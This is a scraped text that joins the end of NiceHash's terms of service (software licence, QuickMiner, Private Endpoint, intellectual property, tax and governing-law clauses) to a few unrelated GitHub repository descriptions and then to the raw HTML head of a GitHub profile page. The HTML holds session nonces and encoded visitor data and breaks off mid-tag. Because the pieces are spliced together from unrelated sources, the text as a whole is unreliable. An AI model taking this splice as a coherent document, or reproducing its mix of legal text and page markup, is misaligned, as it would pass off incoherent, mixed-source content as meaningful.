Mining Software. You are responsible for any and all applicable taxes. You may not, and you agree not to or enable others to, copy, decompile, reverse engineer, reverse compile, disassemble, attempt to derive the source code of, decrypt, modify, or create derivative works of the NiceHash Mining Software or any services provided by the NiceHash Mining Software, or any part thereof (except as and only to the extent any foregoing restriction is prohibited by applicable law or to the extent as may be permitted by the licensing terms governing use of open-sourced components included with the NiceHash Mining Software). If you choose to allow automatic updates, your device will periodically check with NiceHash for updates and upgrades to the NiceHash Mining Software and, if an update or upgrade is available, the update or upgrade will automatically download and install onto your device and, if applicable, your peripheral devices. You can turn off the automatic updates altogether at any time by changing the automatic updates settings found within the NiceHash Mining Software. You agree that NiceHash may collect and use technical and related information, including but not limited to technical information about your computer, system and application software, and peripherals, that is gathered periodically to facilitate the provision of software updates, product support and other services to you (if any) related to the NiceHash Mining Software and to verify compliance with these Terms. NiceHash may use this information, as long as it is in a form that does not personally identify you, to improve our NiceHash Services. NiceHash Mining Software contains features that rely upon information about your selected mining pools. You agree to our transmission, collection, maintenance, processing, and use of all information obtained from you about your selected mining pools. You can opt out at any time by going to settings in the NiceHash Mining Software. NiceHash may provide interest-based advertising to you. If you do not want to receive relevant ads in the NiceHash Mining Software, you can opt out at any time by going to settings in the NiceHash Mining Software. If you opt out, you will continue to receive the same number of ads, but they may be less relevant because they will not be based on your interest. NiceHash Mining Software license is effective until terminated. All provisions of these Terms regarding the termination apply also for the NiceHash Mining Software license. Upon the termination of NiceHash Mining Software license, you shall cease all use of the NiceHash Mining Software and destroy or delete all copies, full or partial, of the NiceHash Mining Software. THIRD PARTY MINERS AND PLUGINS Third Party Miners and Plugins are a third party software which enables the best and most efficient mining operations. NiceHash Miner integrates third party mining software using a third party miner plugin system. Third Party Mining Software is a closed source software which supports mining algorithms for cryptocurrencies and can be integrated into NiceHash Mining Software. Third Party Miner Plugin enables the connection between NiceHash Mining Software and Third Party Mining Software and it can be closed, as well as open sourced. NiceHash Mining Software user interface enables the user to manually select which available Third Party Miners and Plugins will be downloaded and integrated. Users can select or deselect Third Party Miners and Plugins found in the Plugin Manager window. Some of the available Third Party Miners and Plugins which are most common are preselected by NiceHash, but can be deselected, depending on users' needs. The details of the Third Party Miners and Plugins available for NiceHash Mining Software are accessible within the NiceHash Mining Software user interface. The details include, but not limited to, the author of the software and applicable license information, if applicable information about developer fee for Third Party Miners, software version etc. Developer fees may apply to the use of Third Party Miners and Plugins. NiceHash will not be liable, to the maximum extent permitted by applicable law, for any damages of any kind, including, but not limited to, direct, consequential, incidental, special or indirect damages, arising out of using Third Party Miners and Plugins. The latter includes, but is not limited to: i) any power outages, maintenance, defects, system failures, mistakes, omissions, errors, defects, viruses, delays in operation or transmission or any failure of performance; ii) any unauthorized access, alteration, deletion, destruction, damage, loss or failure to store any data, including records, private key or other credentials, associated with usage of Third Party Miners and Plugins and ii) Force Majeure Event, communications failure, theft or other interruptions. If you choose to allow automatic updates, your device will periodically check with NiceHash for updates and upgrades to the installed Third Party Miners and Plugins, if an update or upgrade is available, the update or upgrade will automatically download and install onto your device and, if applicable, your peripheral devices. You can turn off the automatic updates altogether at any time by changing the automatic updates settings found within the NiceHash Mining Software. NICEHASH QUICKMINER NiceHash QuickMiner is a software application that allows the visitors of the NiceHash Quick Miner web page, accessible athttps://www.nicehash.com/quick-miner, to connect their PC or a mining rig to the NiceHash Hashing Power Marketplace. Visitors of the NiceHash Quick Miner web page can try out and experience crypto currency mining without having to register on the NiceHash Platform and create a NiceHash Account. Users are encouraged to do so as soon as possible in order to collect the funds earned using NiceHash Quick Miner. Users can download NiceHash QuickMiner free of charge. In order to operate NiceHash QuickMiner software needs to automatically detect technical information about users' computer hardware. You agree that NiceHash may collect and use technical and related information. For more information please refer to NiceHash Privacy Policy. Funds arising from the usage of NiceHash QuickMiner are transferred to a dedicated cryptocurrency wallet owned and managed by NiceHash. NiceHash QuickMiner Users expressly agree and acknowledge that completing the registration process and creating a NiceHash Account is necessary in order to collect the funds arising from the usage of NiceHash QuickMiner. Users of NiceHash QuickMiner who do not successfully register a NiceHash Account will lose their right to claim funds arising from their usage of NiceHash QuickMiner. Those funds, in addition to the condition that the user has not been active on the NiceHash QuickMiner web page for consecutive 7 days, will be donated to the charity of choice. NICEHASH PRIVATE ENDPOINT NiceHash Private Endpoint is a network interface that connects users privately and securely to NiceHash Stratum servers. Private Endpoint uses a private IP address and avoids additional latency caused by DDOS protection. All NiceHash Private Mining Proxy servers are managed by NiceHash and kept up-to-date. Users can request a dedicated private access endpoint by filling in the form for NiceHash Private Endpoint Solution available at the NiceHash Platform. In the form the user specifies the email address, country, number of connections and locations and algorithms used. Based on the request NiceHash prepares an individualized offer based on the pricing stipulated on the NiceHash Platform, available at https://www.nicehash.com/private-endpoint-solution. NiceHash may request additional information from the users of the Private Endpoint Solution in order to determine whether we are obligated to collect VAT from you, including your VAT identification number. INTELLECTUAL PROPERTY NiceHash retains all copyright and other intellectual property rights, including inventions, discoveries, knowhow, processes, marks, methods, compositions, formulae, techniques, information and data, whether or not patentable, copyrightable or protectable in trademark, and any trademarks, copyrights or patents based thereon over all content and other materials contained on NiceHash Platform or provided in connection with the Services, including, without limitation, the NiceHash logo and all designs, text, graphics, pictures, information, data, software, source code, as well as the compilation thereof, sound files, other files and the selection and arrangement thereof. This material is protected by international copyright laws and other intellectual property right laws, namely trademark. These Terms shall not be understood and interpreted in a way that they would mean assignment of copyright or other intellectual property rights, unless it is explicitly defined so in these Terms. NiceHash hereby grants you a limited, nonexclusive and non-sublicensable license to access and use NiceHash’s copyrighted work and other intellectual property for your personal or internal business use. Such license is subject to these Terms and does not permit any resale, the distribution, public performance or public display, modifying or otherwise making any derivative uses, use, publishing, transmission, reverse engineering, participation in the transfer or sale, or any way exploit any of the copyrighted work and other intellectual property other than for their intended purposes. This granted license will automatically terminate if NiceHash suspends or terminates your access to the Services, NiceHash Wallet or closes your NiceHash Account. NiceHash will own exclusive rights, including all intellectual property rights, to any feedback including, but not limited to, suggestions, ideas or other information or materials regarding NiceHash Services or related products that you provide, whether by email, posting through our NiceHash Platform, NiceHash Account or otherwise and you irrevocably assign any and all intellectual property rights on such feedback unlimited in time, scope and territory. Any Feedback you submit is non-confidential and shall become the sole property of NiceHash. NiceHash will be entitled to the unrestricted use, modification or dissemination of such feedback for any purpose, commercial or otherwise, without acknowledgment or compensation to you. You waive any rights you may have to the feedback. We have the right to remove any posting you make on NiceHash Platform if, in our opinion, your post does not comply with the content standards defined by these Terms. PRIVACY POLICY Please refer to our NiceHash Platform and Mining Services Privacy Policy published on the NiceHash Platform for information about how we collect, use and share your information, as well as what options do you have with regards to your personal information. COMMUNICATION AND SUPPORT You agree and consent to receive electronically all communications, agreements, documents, receipts, notices and disclosures that NiceHash provides in connection with your NiceHash Account or use of the NiceHash Platform and Services. You agree that NiceHash may provide these communications to you by posting them via the NiceHash Account or by emailing them to you at the email address you provide. You should maintain copies of electronic communications by printing a paper copy or saving an electronic copy. It is your responsibility to keep your email address updated in the NiceHash Account so that NiceHash can communicate with you electronically. You understand and agree that if NiceHash sends you an electronic communication but you do not receive it because your email address is incorrect, out of date, blocked by your service provider, or you are otherwise unable to receive electronic communications, it will be deemed that you have been provided with the communication. You can update your NiceHash Account preferences at any time by logging into your NiceHash Account. If your email address becomes invalid such that electronic communications sent to you by NiceHash are returned, NiceHash may deem your account to be inactive and close it. You may give NiceHash a notice under these Terms by sending an email to support@nicehash.com or contact NiceHash through support located on the NiceHash Platform. All communication and notices pursuant to these Terms must be given in English language. FEES Please refer to the NiceHash Platform for more information about the fees or administrative costs which are applicable at the time of provision of services. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. The changed fees will apply only for the Services provided after the change of the fees. You authorize us, or our designated payment processor, to charge or deduct your NiceHash Account for any applicable fees in connection with the transactions completed via the Services. TAX It is your responsibility to determine what, if any, taxes apply to the transactions you complete or services you provide via the NiceHash Platform, Mining Services and NiceHash Wallet, it is your responsibility to report and remit the correct tax to the appropriate tax authority and all your factual and potential tax obligations are your concern. You agree that NiceHash is not in any case and under no conditions responsible for determining whether taxes apply to your transactions or services or for collecting, reporting, withholding or remitting any taxes arising from any transactions or services. You also agree that NiceHash is not in any case and under no conditions bound to compensate for your tax obligation or give you any advice related to tax issues. All fees and charges payable by you to NiceHash are exclusive of any taxes, and shall certain taxes be applicable, they shall be added on top of the payable amounts. Upon our request, you will provide to us any information that we reasonably request to determine whether we are obligated to collect VAT from you, including your VAT identification number. If any deduction or withholding is required by law, you will notify NiceHash and will pay NiceHash any additional amounts necessary to ensure that the net amount received by NiceHash, after any deduction and withholding, equals the amount NiceHash would have received if no deduction or withholding had been required. Additionally, you will provide NiceHash with documentation showing that the withheld and deducted amounts have been paid to the relevant taxing authority. FINAL PROVISIONS Natural persons and legal entities that are not capable of holding legal rights and obligations are not allowed to create NiceHash Account and use NiceHash Platform or other related services. If NiceHash becomes aware that such natural person or legal entity has created the NiceHash Account or has used NiceHash Services, NiceHash will delete such NiceHash Account and disable any Services and block access to NiceHash Account and NiceHash Services to such natural person or legal entity. If you register to use the NiceHash Services on behalf of a legal entity, you represent and warrant that (i) such legal entity is duly organized and validly existing under the applicable laws of the jurisdiction of its organization; and (ii) you are duly authorized by such legal entity to act on its behalf. These Terms do not create any third-party beneficiary rights in any individual or entity. These Terms forms the entire agreement and understanding relating to the subject matter hereof and supersede any previous and contemporaneous agreements, arrangements or understandings relating to the subject matter hereof to the exclusion of any terms implied by law that may be excluded by contract. If at any time any provision of these Terms is or becomes illegal, invalid or unenforceable, the legality, validity and enforceability of every other provisions will not in any way be impaired. Such illegal, invalid or unenforceable provision of these Terms shall be deemed to be modified and replaced by such legal, valid and enforceable provision or arrangement, which corresponds as closely as possible to our and your will and business purpose pursued and reflected in these Terms. Headings of sections are for convenience only and shall not be used to limit or construe such sections. No failure to enforce nor delay in enforcing, on our side to the Terms, any right or legal remedy shall function as a waiver thereof, nor shall any individual or partial exercise of any right or legal remedy prevent any further or other enforcement of these rights or legal remedies or the enforcement of any other rights or legal remedies. NiceHash reserves the right to make changes, amendments, supplementations or modifications from time to time to these Terms including but not limited to changes of licence agreement for NiceHash Mining Software and of any fees and compensations policies, in its sole discretion and for any reason. We suggest that you review these Terms periodically for changes. If we make changes to these Terms, we will provide you with notice of such changes, such as by sending an email, providing notice on the NiceHash Platform, placing a popup window after login to the NiceHash Account or by posting the amended Terms on the NiceHash Platform and updating the date at the top of these Terms. The amended Terms will be deemed effective immediately upon posting for any new users of the NiceHash Services. In all other cases, the amended Terms will become effective for preexisting users upon the earlier of either: (i) the date users click or press a button to accept such changes in their NiceHash Account, or (ii) continued use of NiceHash Services 30 days after NiceHash provides notice of such changes. Any amended Terms will apply prospectively to use of the NiceHash Services after such changes become effective. The notice of change of these Terms is considered as notice of termination of all rights and obligations between you and NiceHash derived from these Terms with notice period of 30 days, if you do not accept the amended Terms. If you do not agree to any amended Terms, (i) the agreement between you and NiceHash is terminated by expiry of 30 days period which starts after NiceHash provides you a notice of change of these Terms, (ii) you must discontinue using NiceHash Services and (iii) you must inform us regarding your disagreement with the changes and request closure of your NiceHash Account. If you do not inform us regarding your disagreement and do not request closure of you NiceHash Account, we will deem that you agree with the changed Terms. You may not assign or transfer your rights or obligations under these Terms without the prior written consent of NiceHash. NiceHash may assign or transfer any or all of its rights under these Terms, in whole or in part, without obtaining your consent or approval. These Terms shall be governed by and construed and enforced in accordance with the Laws of the British Virgin Islands, and shall be interpreted in all respects as a British Virgin Islands contract. Any transaction, dispute, controversy, claim or action arising from or related to your access or use of the NiceHash Platform or these Terms of Service likewise shall be governed by the Laws of the British Virgin Islands, exclusive of choice-of-law principles. The rights and remedies conferred on NiceHash by, or pursuant to, these Terms are cumulative and are in addition, and without prejudice, to all other rights and remedies otherwise available to NiceHash at law. NiceHash may transfer its rights and obligations under these Terms to other entities which include, but are not limited to H-BIT, d.o.o. and NICEX Ltd, or any other firm or business entity that directly or indirectly acquires all or substantially all of the assets or business of NICEHASH Ltd. If you do not consent to any transfer, you may terminate this agreement and close your NiceHash Account. These Terms are not boilerplate. If you disagree with any of them, believe that any should not apply to you, or wish to negotiate these Terms, please contact NiceHash and immediately navigate away from the NiceHash Platform. Do not use the NiceHash Mining Services, NiceHash Wallet or other related services until you and NiceHash have agreed upon new terms of service. Last updated: March 1, 2021
INDIAPOST-gov
DIGIPIN is an open-source, geo-coded addressing system developed by India Post in collaboration with IIT Hyderabad and NRSC, ISRO. It enables “Address as a Service” (AaaS) by linking physical locations to its digital representation, allowing seemless encoding/decoding
The-Robotics-Forum
This is a free and open source team chat collaboration platform that allows user to communicate securely in Real-Time, Share File, Location and code snippet as well as creative private rooms.
Merrit
Add context menu to Dolphin to easily open VS Code at location on right click.
chikitang
!DOCTYPE html> <html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-ksfTgQOOnE+FFXf+yNfVjKSlEckJAdufFIYGK7ZjRhWcZgzAGcmZqqArTgMLpu90FwthqcCX4ldDgKXbmVMeuQ==" rel="stylesheet" href="https://github.githubassets.com/assets/light-92c7d381038e.css" /><link crossorigin="anonymous" media="all" integrity="sha512-1KkMNn8M/al/dtzBLupRwkIOgnA9MWkm8oxS+solP87jByEvY/g4BmoxLihRogKcX1obPnf4Yp7dI0ZTWO+ljg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-d4a90c367f0c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-cZa7DZqvMBwD236uzEunO/G1dvw8/QftyT2UtLWKQFEy0z0eq0R5WPwqVME+3NSZG1YaLJAaIqtU+m0zWf/6SQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-7196bb0d9aaf.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-WVoKqJ4y1nLsdNH4RkRT5qrM9+n9RFe1RHSiTnQkBf5TSZkJEc9GpLpTIS7T15EQaUQBJ8BwmKvwFPVqfpTEIQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-595a0aa89e32.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-XpAMBMSRZ6RTXgepS8LjKiOeNK3BilRbv8qEiA/M3m+Q4GoqxtHedOI5BAZRikCzfBL4KWYvVzYZSZ8Gp/UnUg==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-5e900c04c491.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-3HF2HZ4LgEIQm77yOzoeR20CX1n2cUQlcywscqF4s+5iplolajiHV7E5ranBwkX65jN9TNciHEVSYebQ+8xxEw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-dc71761d9e0b.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-+J8j3T0kbK9/sL3zbkCfPtgYcRD4qQfRbT6xnfOrOTjvz4zhr0M7AXPuE642PpaxGhHs1t77cTtieW9hI2K6Gw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-f89f23dd3d24.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" integrity="sha512-AQeAx5wHQAXNf0DmkvVlHYwA3f6BkxunWTI0GGaRN57GqD+H9tW8RKIKlopLS0qGaC54seFsPc601GDlqIuuHg==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-010780c79c07.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" integrity="sha512-+u5pmgAE0T03d/yI6Ha0NWwz6Pk0W6S6WEfIt8veDVdK8NTjcMbZmQB9XUCkDlrBoAKkABva8HuGJ+SzEpV1Uw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-faee699a0004.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-EAhBCLIJ/pXHG3Y6yQhs9s53SHV80sjJ+yCwlQtfv7LaVkD+VoEuZBZ5betQJFUNj/5qBSfZk5GFtazEDzWLAg==" rel="stylesheet" href="https://github.githubassets.com/assets/primer-10084108b209.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-j4LlGsvrPJxvY8+OWTjZfxsE5dNUiTsSjDrRiYJN24hZSD0fRrKZKtHnFIt1HSPGvNd1XAXX4UWQu+7n30g2KQ==" rel="stylesheet" href="https://github.githubassets.com/assets/global-8f82e51acbeb.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-ws/OpUoggF9K9ooMit55m3zLZc0tylad06U0PD2d0mPaGrdyGa+YTIAGxvVPrke4PWfw/1hdyplewI0dG5RMqw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-c2cfcea54a20.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-EU4iyx/yvfUFbgkpn4fpfcGLGdCO/MAsSFcvCXZ2Z2EW37nQnDHPgt/cXbfA0Tro59XCXEOAzXxFKLLkIuetnw==" rel="stylesheet" href="https://github.githubassets.com/assets/profile-114e22cb1ff2.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-/QgkqjzVefOR3Tj2b+frbSHSVAOEXToMLNi27AqI0et2R/r9L6h5gKl9tEbPuN2sV41z3bAkC0YbPhQSDjak+A==" src="https://github.githubassets.com/assets/runtime-fd0824aa3cd5.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-X+8lM1ka/+ZD419IfxRmavutulfxSofkt+qmxoFdfa0Zp6fBjTUoNaJeZfEK1YdE6ibpcZz/HaOVu2FnHGJ7DA==" src="https://github.githubassets.com/assets/environment-5fef2533591a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-io+1MvgXPXTw8Kp4eOdNMJl8uGASuw8VfTY5VeIFETaAknimWi8GoxggMEeQ6mq0de4Dest4iIJ/9gUbCo0hgw==" src="https://github.githubassets.com/assets/vendors-node_modules_selector-observer_dist_index_esm_js-8a8fb532f817.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-Es25N4GyPa8Yfp5wpahoe5b2fyPtkRMyR6mKIXyCJC0ocqQazeWvxhGZhx3StRxOfqDfHDR5SS35u/R3Wux6Cg==" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-12cdb93781b2.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-lmiecOIgf+hakg5oKMNM7grVhEDyPoIrT39Px448JJH5PSAaK21PH0Twgyz5O5oi8+dnlLr3Jt8bBCtAcpNdRw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed-96689e70e220.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-y67eNkVaNK4RguUGcHOvIbHFlgf1Qje+LDdjVw2eFuuvBOqta2GePz/CwoLIR/PJhhRAj5RPGxCWoomnimSw6w==" src="https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js-cbaede36455a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-6ehrOOu5AOQD8/Lw6TgTsdkj9odsrpi0xWo0vkH3wBR3vIw/Bj/Rxw9wZMfw2qVzdqqF/pCiaJ5f0A/P6HtGrw==" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104-e9e86b38ebb9.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-l//8hwOiwPAmBg0NwsWUYovdQ7/r9kPHiD9/LL4fD3M7El8gbgaOYU5+o6cYLB6puSfOTxyN9M6fE38HSDr2Bw==" src="https://github.githubassets.com/assets/github-elements-97fffc8703a2.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-RVfrK7GqzKgqgrdk4OZy+0LLxAMJ1odMQC1/Qt7SpwSHjE9s4R0/09fu5QvzcQ6XdNZMjJ1Wy8Cr6wL3Q+HCcQ==" src="https://github.githubassets.com/assets/element-registry-4557eb2bb1aa.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-uo73yUZcm4EicwjSbfxFZcKfjWniOxhLBp+q1n7IFRfutFM6/lzbQMgD0Xrxp7QD1HzqdvrV8UclPhi3mEOyzQ==" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-LWSGAMIPWi+15W2gBjmxbtVqU0DamkrNOQylAjPL8509iKnuWgSLdjylDv3WWm/9p6h2U/D//3i6BiiGFZPXJA==" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_catalyst_lib_index_-87b1b3-2d648600c20f.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-0r1nf/rfPz54kyePp4f63bcPxkFo7wyaUZJD/SwIVDK3q0WzurAK9ydOm88tzKtPJm8xWI0Vo25NyCfecwxJ9g==" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd-d2bd677ffadf.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-VK56d0N1hPZ20mOzPoy84zlTGCjGbKKmVvfjoyDqSF+VxTD4f6X8QDs2RgG1R1cdBmsCiea+ZxP6ukV3tHlD+Q==" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-df2537-54ae7a774375.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-318SWYQMEUmWdOuBzC1KdeVyyq5RDCiMNGP7Jh9s/Oz68Yy8e94t8qKxiCnfFKnzfpN3MxrATi7jCQyDv6jh0w==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_pjax_ts-df5f1259840c.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-2hsYB2KHyayxUJJxJGhXeTeTZZG2c7lzRtO0uB1txmpc7rfvIt4mf0iossT0MHIHknYlaslgi98jmmlVXcXaZQ==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-da1b18076287.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-mszhDznUQJHnUG/R5PW8SVIpe08ysmzHfMNnUF9Nu2DlTQ2EI+vzUxDTJ1cUGPr1nRRvsed9bKe1IdZI+1Q4Rg==" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_details_ts-app_assets_modules_github_behaviors_include-fr-34e1f7-9acce10f39d4.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-w/t2D/KwutVIcNp5IDznla0td11er/0FLWMQBuZ4+ec53IQDBc4+CztZqlCj/RZ8XDkk/eiECEwiUjXv5UAJnQ==" src="https://github.githubassets.com/assets/behaviors-c3fb760ff2b0.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-O4QCEHjN5g9SG+Bqu36E7RCxy4hi2w3nyDWVsHwc/hUgAMsYntgibQcLNqSrar4T78Dnj0NZgM/C4FhFt8DIag==" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-6e358f-3b84021078cd.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-tuRHxLY6eU4xuxKD8rm7GxWa0B337+gV5cSnivbY1FPmUo4zRUBCbKqs6kvuJsuGj2dg1uz4ajSLTrHDFeADUw==" src="https://github.githubassets.com/assets/notifications-global-b6e447c4b63a.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-QdQXem5u6Zn5fejgHuEVa07Zdffi7rtk2HHG8DZHegrkzMgrrdC5d5spRsxjV/xGF3KSyl3B8FI7xXu77LG2TQ==" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-1424532-41d4177a6e6e.js"></script> <script crossorigin="anonymous" defer="defer" type="application/javascript" integrity="sha512-fkqJogEq3qR42gMZhv5UupQvBdhPiQIIBomJsm5HYJ6ZzfJjDFdKWsWso3u5eKdEz6b8hhXFjUwnLnK6SkJdhA==" src="https://github.githubassets.com/assets/profile-7e4a89a2012a.js"></script> <title>Your Repositories</title> <meta name="request-id" content="FD00:0DFC:1DF0AC7:313D6B2:62A02226" data-pjax-transient="true" /><meta name="html-safe-nonce" content="980ec10d2da5b506cd46be36dd6e013e8bada887c7553a22c701573bbe482ab0" data-pjax-transient="true" /><meta name="visitor-payload" content="eyJyZWZlcnJlciI6Imh0dHBzOi8vZ2l0aHViLmNvbS9leHBsb3JlIiwicmVxdWVzdF9pZCI6IkZEMDA6MERGQzoxREYwQUM3OjMxM0Q2QjI6NjJBMDIyMjYiLCJ2aXNpdG9yX2lkIjoiNzQ5MzY1NDMzNjA2MzQxMjkzMSIsInJlZ2lvbl9lZGdlIjoiaWFkIiwicmVnaW9uX3JlbmRlciI6ImlhZCJ9" data-pjax-transient="true" /><meta name="visitor-hmac" content="421e7a5a14726f1086d7a9de5370e75ce73e1595c8567ceca4fe9616e47623d9" data-pjax-transient="true" /> <meta name="github-keyboard-shortcuts" content="" data-pjax-transient="true" /> <meta name="selected-link" value="/chikitang" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /><meta name="octolytics-actor-id" content="107093285" /><meta name="octolytics-actor-login" content="chikitang" /><meta name="octolytics-actor-hash" content="1bbae79ef5b27d38ae2058bbe0b8e84e42ca017579fe6b91fb76d14b6a316195" /> <meta name="user-login" content="chikitang"> <meta name="viewport" content="width=device-width"> <meta name="description" content="chikitang has one repository available. Follow their code on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://avatars.githubusercontent.com/u/107093285?v=4?s=400" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary" /><meta name="twitter:title" content="chikitang - Repositories" /><meta name="twitter:description" content="chikitang has one repository available. Follow their code on GitHub." /> <meta property="og:image" content="https://avatars.githubusercontent.com/u/107093285?v=4?s=400" /><meta property="og:image:alt" content="chikitang has one repository available. Follow their code on GitHub." /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="profile" /><meta property="og:title" content="chikitang - Repositories" /><meta property="og:url" content="https://github.com/chikitang" /><meta property="og:description" content="chikitang has one repository available. Follow their code on GitHub." /><meta property="profile:username" content="chikitang" /> <link rel="assets" href="https://github.githubassets.com/"> <link rel="shared-web-socket" href="wss://alive.github.com/_sockets/u/107093285/ws?session=eyJ2IjoiVjMiLCJ1IjoxMDcwOTMyODUsInMiOjg5NTc1NzU0OCwiYyI6MTYzNjI1Mjg2NywidCI6MTY1NDY2MTY3M30=--c25c69ac641d7bef477abc2e101060da9d58d110fdab2b83c67104ea57cb74d1" data-refresh-url="/_alive" data-session-id="0f954fa662a2d554f181d0867897a8c903cfbb09b242250a287b6117e8fa2281"> <link rel="shared-web-socket-src" href="/assets-cdn/worker/socket-worker-b98ccfd9236e.js"> <link rel="sudo-modal" href="/sessions/sudo_modal"> <meta name="hostname" content="github.com"> <meta name="keyboard-shortcuts-preference" content="all"> <script type="application/json" id="memex_keyboard_shortcuts_preference">"all"</script> <meta name="expected-hostname" content="github.com"> <meta name="js-proxy-site-detection-payload" content="ZTEwZDA3YzMzN2IyY2I2ZjU1ZWFkZWNkYmNkM2RlNjAyNWQwYzUwODYwOGU5ODU2MDBjZDYzZjI4OGQ5OWQyOHx7InJlbW90ZV9hZGRyZXNzIjoiNzYuMTM1Ljk2LjIwNSIsInJlcXVlc3RfaWQiOiJGRDAwOjBERkM6MURGMEFDNzozMTNENkIyOjYyQTAyMjI2IiwidGltZXN0YW1wIjoxNjU0NjYxNjczLCJob3N0IjoiZ2l0aHViLmNvbSJ9"> <meta name="enabled-features" content="ACTIONS_CALLABLE_WORKFLOWS,PRESENCE_IDLE,RELEASE_PREV_TAG_PICKER"> <meta http-equiv="x-pjax-version" content="a37df167d895af7f9c4d1b90e97a54af1d17d291209210e78f815dbbd9a85bbc" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="485d6a5ccbb1eeae9c86b616b4870b531f6f458e8bd5c309c40280dc4f51defb" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="560bbf933d6879732c126fa7af06481a25d36e7da91d312b7f44915e69fcdbb9" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" 